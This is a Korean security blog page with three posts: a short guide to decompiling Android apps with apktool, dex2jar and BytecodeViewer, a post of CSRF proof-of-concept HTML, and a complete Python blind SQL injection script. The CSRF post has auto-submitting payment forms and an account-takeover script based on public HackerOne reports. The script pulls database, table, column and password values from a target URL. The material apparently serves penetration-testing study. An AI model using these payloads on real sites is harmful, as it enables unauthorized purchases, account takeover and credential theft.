2018. 12. 30.

[모바일] 애플리케이션 디컴파일 방법

보통 모바일 취약점 점검이라고 하면 소스코드를 갖고 있지 않은 상태에서 디 컴파일을 통해 애플리케이션을 분석해야 한다. 일반적으로 사용하는 디컴파일 도구는 다음과 같다.




1. apktool
apktool 은 apk 파일로 압축되어 있는 resources.arsc, classes.dex, XML 파일들을 디버깅 파일 형태로 변환해주고, 이를 수정한 후에 다시 수정된 apk 파일로 생성 할 수 있는 도구다.


사용방법
- 앱을 디코드 하는 경우
java -jar apktool.jar d [option] [디코드 할 APK파일명].apk


- 앱을 컴파일 할 경우
java -jar apktool.jar b [option] [빌드할 APK 폴더 경로]






apktool 을 이용하여 app-release.apk 를 디코딩하여 디버깅 가능한 파일 형태로 변환해본다.




위와 같이 폴더가 생기면서 디코딩 된 것을 알 수 있다.




2. dex2jar
APK 파일이나 APK 파일에 포함된 classes.dex 파일을 자바 클래스 파일로 변환해주는 도구이다. 깃허브를 통해 오픈소스로 배포하고 있으며, 이에는 dex2jar 외에도 다양한 도구들이 포함되어 있다.
dex2jar 를 이용하고자 할 때 실행 파일 뒤에 대상 파일만 입력해주면, jar 확장자를 가진 파일로 변환해준다.




명령 실행 후에는 insecure Bankv2-dex2jar.jar 파일이 생성된 것을 알 수 있다. 생성된 jar 파일을 사용자가 읽을 수 있는 형태로 변환하기 위해서는 자바 파일로 디컴파일 해야한다. 자바 디컴파일러는 jd-gui.exe 를 실행하고 위에서 생성된 "InsecureBankv2-dex2jar.jar" 파일을 불러오면 자동으로 디컴파일된다.






** 지금까지는 JD-GUI 를 사용해왔지만 디컴파일 과정을 생략할 수 있는 도구인 BytecodeViewer를 설명한다. 이 앱은 디컴파일할 때 사용할 수 있을 뿐아니라 악성코드 앱을 분석할 때도 사용된다.


BytecodeViewer는 자바, 안드로이드, DEX, jars 파일 등과 같은 소스 코드 리버싱 분석 도구이다. 윈도우 환경에서 완벽하게 동작 할 수 있도록 지원한다. 안드로이드 APK 파일을 디컴파일하여 바이트코드 형태와 클래스 파일을 자바 파일로 변환한 후 소스파일로 복원하여 함께 보여준다.


download (https://github.com/konloch/bytecode-viewer/releases)
BytecodeViewer 2.9.8 버전을 다운받고 jar 파일을 시랳아혐 업데이트를 수행한다.


Continue reading

2018. 10. 28.

CSRF poc 코드

CSRF 취약점은 특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 하게 만드는 공격이다.

XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 사용자가 악성 스크립트를 서버에 요청한다는 차이가 있다.

POST 로 진행 될 경우, 다음과 같이 CSRF 공격을 할 수 있다.
공격자는 이미 특정 물품을 구매하여 장바구니에 넣어두고, 해당 물품에 대한 결재를 다른 이를 통해 다음과 같은 형태로 수행 할 수 있다.


<html>
<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>

위 형태로 HTML 파일 형태로 저장을 해도 되고, 게시판 형태에 아래의 내용을 삽입 할 수 있다.


<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>

일반적으로 CSRF 가 성립하려면 수정/삭제/등록 등을 하는 액션에서 사용자를 구문하는 파라미터 값이 존재하지 않아야 한다. 특정 사용자를 구분하는 인수가 있으면 하나의 사용자에게만 적용되거나 인증 과정을 통해 CSRF 공격을 막을 수 있다.

------------------



case 1) 실사례를 보자, CSRF 취약점을 이용해서, 프로필의 트위터 계정을 연결해제를 시킬 수 있는 취약점이 존재하였다.

Vulnerable request
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=bmpuTE5EdnUvYUU0eGxJRk1kMWo5WkI3Wmh1clJkempOTDcya2R3eFNIMG8zWGdpenMvTXY4eFczTWUrNGRQeXV4ZGVycEVtTDZWcFZVbEg1eEtFQjhzSEJVbkM5K05VUVJaeHVtNXBnNTJCNTdwZ2hLL0x0Kyt4eUVlSjRIOWdYTkcwd1NQWWJnbjRNaTF5UXlwa1ZIUlAwR1JmZ1Y5WmRvN2ZHWFY5REZSUmlsR0lnMHZlSjR1OTlTMW5xWDdZRnVGSnBSeEhqbWpNS3lYZmxBNjZoVE00L3pQT2NMd1NONkdwb2pkMXhDS1E2M2RXYlovZjYwaUZnV0JQKzQySlN0MTNKNG55Zlg2azFDdVJJL3RidmJMM0VJNmRVejhZbjVDTnFZNmxFN0k9LS1lY1Y2dnpBZTJCalZzS014SldFUllBPT0%3D--77463ef21e4c8ef530f466db49f78b8e1c2e1129; _ga=GA1.2.469272249.1453024796; _gat=1
Connection: keep-alive

POC code

<html>
<body>
 <img src="https://twitter-commerce.shopifyapps.com/twitter/disconnect">
  </body>
</html>
// img 태그로 사이트에 요청(request)을 하는 방법도 있다는 것.
재현 절차

  • https://madamcury.myshopify.com/admin/apps/shopify-twitter에서 twitter 어플리케이션을 추가한다.
  • twitter 계정을 연동한다.
  • 위의 poc 코드를 이용해서 twitter 계정을 끊는다.


즉, POC 코드를 실행하는 것 만으로, 로그인된 사용자가 자신의 의지와는 무관하게 연동된 트위터 계정을 끊게 되는 것이다.

관련 사이트

  • Twitter Disconnect CSRF - https://hackerone.com/reports/111216


-----------------

case 2) get 메소드로 전송되는 앱 아이디 (숫자)를 자신의 아이디로 임의로 변경하여 서버에 전달

<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()">  <!-- 프로그램이 기동될때 submit 이 작동하도록 <input type="submit">  -->
<form action="https://app.shopify.com/services/partners/api_clients/1105664/
export_installed_users" method="GET">
</form>
</body>
</html>

submit 이란 함수는 input 또는 textarea 값을 저장해서 get/post 형식으로 데이터를 넘겨주는 함수이다. submit를 하기 위해서 먼저 form 을 이해해야 한다.
<formname="name" method="post" action="abc.jsp" id=frmtest">
폼의 이름이 name 이고 post 방식, 그리고 데이터 넘겨줄 페이지가 abc.jsp 라고 정의한 것이다.
이 폼을 submit 하기 위해서는 submit 버튼이 필요하다.
<input type="submit" value="전송">
하지만 위와 같이 클릭이 아닌, 이벤트로 submit 을 실행하기 위해서는 javascript를 사용해야 한다.



위에서 1105664를 본인의 app ID로 바꾸고 서버에 전달한다.


case 3)badoo 라는 앱 데이팅 사이트에서 CSRF 취약점이 발견된 사례이다.

badoo에서 로그인된 사용자가 gmail 연동할때, 사용자는 badoo에게 gmail 계정 사용을 위한 권한을 부여한다. 그리고 나서 아래 url로 리다이렉트 된다.

https://eu1.badoo.com/google/verify.phtml?rt=<State_param_value>&code=<Code_returned_from_google>

여기서부터 시작이다. CSRF 공격을 막기위해서는 위의 사용자/세션을 위한 고유정보인 rt 파라미터를 보호하는 것이다. 해커는 거의 모든 json 응답값에서 rt 파라미터가 반환되는것을 알았다.

https://eu1.badoo.com/worker-scope/chrome-service-worker.js
위의 javascript 파일에 rt 파라미터 값이 아래와 같은 형태로 포함되어 있는것을 발견했다.


var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';

(지금 확인해 보니 저렇게 변경되었다.)


이를 통해, 맨 처음에 보았던 gmail 계정을 연동할 때 받았던 url 에 위 rt 파라미터 값을 삽입하여 세션을 탈취할 수 있다.



<html><head><title> Badoo account take over </title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function getCSRFcode(str) {
    return str.split('=')[2]; // = 를 기준으로 자르고 0,1,2 즉 3번째 문자열 반환, 예를 들면 how=old=are=you 라면 are 를 반환
}
window.onload = function(){   // 시작시 사용될 내용
var csrf_code = getCSRFcode(url_stats);  // rt 파라미터 값을 얻는다.
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>

공격자가 자신의 gmail, facebook 계정을 희생자의 badoo 계정으로 연동하면, 공격자는 희생자의 badoo 계정을 획득할 수 있다.

#관련 근거

  • https://hackerone.com/reports/127703


#참고

  • http://terms.naver.com/entry.nhn?docId=3431919&cid=58437&categoryId=58437

Continue reading

2018. 9. 27.

[웹 취약점] blind sql 인젝션 자동화 스크립트

#!/usr/bin/python
import urllib, urllib2
import sys
 
# Connect URL
def urlcon(query):
    method = "id=" + urllib.quote(query)   # url encode
    #method += "&"
    #method += "pw=asd"
 
    url = urllib2.Request('http://testsite.com/cat.php?' + method)
    s = urllib2.urlopen(url)
 
    result = s.read()
 
    s.close()
 
    # Check
    if result.find("hacker") == -1:
        return 0    # failed
    else:
        return 1    # success
 
# Get a current DB Name
def get_db():
    length = 0
    db = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(database())), 1, 2) = '{0}'#".format(i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select database()), {0}, 1)) = '{1}'#".format(i+1, j)
            if urlcon(query) == 1:
                db += chr(j)
                break
        print db
 
    print "================================================================="
    print "Result : " + db
 
    return db
 
# Get Tables
def get_table():
    tlist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(table_name) from information_schema.tables where table_type='base table' limit {0},1),1,2) = '{1}' #".format(index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        table = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((seltect table_name from information_schema.tables where table_type='base table' limit {0},1),{1},1)) = '{2}' #".format(index, i+1, j)
                if urlcon(query) == 1:
                    table += chr(j)
                    break
            print table
        tlist.append(table)
        index += 1
 
    print tlist
    return tlist
 
# Get Columns
def get_column(table):
    clist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1),1,2) = '{2}' #".format(table, index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        column = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)) = '{3}' #".format(table, index, i+1, 

j)
                if urlcon(query) == 1:
                    column += chr(j)
                    break
            print column
        clist.append(column)
        index += 1
 
    print clist
    return clist
 
# Get a Value
def get_value(table, ID):
    length = 0
    pw = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(pw) from {0} where id='{1}' limit 0,1),1,2) = '{2}' #".format(table, ID, i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select pw from {0} where id='{1}' limit 0,1),{2},1)) = '{3}' #".format(table, ID, i+1, j)
            if urlcon(query) == 1:
                pw += chr(j)
                break
        print pw
 
    print "================================================================="
    print "Result : " + pw
 
    return pw
 
# Main Function
if __name__ == '__main__':
    print "================================================================="
    print "Blind SQL Injection"
    print "=================================================================\n"
 
    argc = len(sys.argv)
    if argc >= 2:
        if int(sys.argv[1]) == 1:
            get_db()
        elif int(sys.argv[1]) == 2:
            get_table()
        elif (int(sys.argv[1]) == 3) and sys.argv[2]:
            get_column(sys.argv[2])        # Table Name is "accounts".
        elif (int(sys.argv[1]) == 4) and sys.argv[2] and sys.argv[3]:
            get_value(sys.argv[2], sys.argv[3])    # Table Name is "accounts", ID is "tribal".
        else:
            print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])
    else:
        print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])

실행 결과

해결이 필요한 점
  • table_type='base table' 은 사용자가 만든 table을 의미한다.
  • pentesterlab 환경에서는 mysql 에서 select table_name from information_schema.tables where table_type='base table' 로 실행하면 26개의 결과가 출력되는지 왜 스크립트를 실행하면 3개만 나온다.


출처
  •  http://tribal1012.tistory.com/150

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.